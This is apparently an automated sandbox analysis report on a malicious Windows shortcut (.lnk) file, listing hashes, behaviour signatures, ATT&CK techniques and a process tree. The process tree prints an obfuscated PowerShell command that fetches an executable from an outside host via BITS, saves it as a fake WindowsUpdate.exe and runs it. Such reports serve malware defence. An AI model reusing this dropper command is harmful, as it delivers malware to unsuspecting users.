f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166

Analysis

max time kernel
91s
max time network
92s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10/04/2024, 14:59

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General

Target

f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166.lnk
Size

1KB
MD5

efcff826fa14c23c9abcd53e0a148383
SHA1

f79f22761707f666178f8855fcfb95a46065dd21
SHA256

f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166
SHA512

c27f5edcd4b12500af5a7a46541bd0e6fda71bcce954e8a40138fe812adca4fb0fb46d442c3d420dfcba0937484a1ad106fb3aa94c04a2c15727d1f0a0fb45a5

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://001000100.xyz/soft/upd03212.exe

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2032	powershell.exe
2032	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 1960	3904	cmd.exe	87
PID 3904 wrote to memory of 1960	3904	cmd.exe	87
PID 1960 wrote to memory of 2032	1960	cmd.exe	88
PID 1960 wrote to memory of 2032	1960	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://001'+'000'+'100.x'+'yz'+'/so'+'ft'+'/upd'+'03'+'212.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://001'+'000'+'100.x'+'yz'+'/so'+'ft'+'/upd'+'03'+'212.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijd1flnd.mzu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2032-9-0x000002A635FC0000-0x000002A635FE2000-memory.dmp

Filesize
136KB

Download
memory/2032-10-0x00007FF9EEC00000-0x00007FF9EF6C1000-memory.dmp

Filesize
10.8MB

Download
memory/2032-11-0x000002A636090000-0x000002A6360A0000-memory.dmp

Filesize
64KB

Download
memory/2032-12-0x000002A636090000-0x000002A6360A0000-memory.dmp

Filesize
64KB

Download
memory/2032-13-0x000002A636010000-0x000002A636036000-memory.dmp

Filesize
152KB

Download
memory/2032-14-0x000002A636060000-0x000002A636074000-memory.dmp

Filesize
80KB

Download
memory/2032-15-0x000002A636090000-0x000002A6360A0000-memory.dmp

Filesize
64KB

Download
memory/2032-16-0x000002A636090000-0x000002A6360A0000-memory.dmp

Filesize
64KB

Download
memory/2032-17-0x000002A636090000-0x000002A6360A0000-memory.dmp

Filesize
64KB

Download
memory/2032-20-0x00007FF9EEC00000-0x00007FF9EF6C1000-memory.dmp

Filesize
10.8MB

Download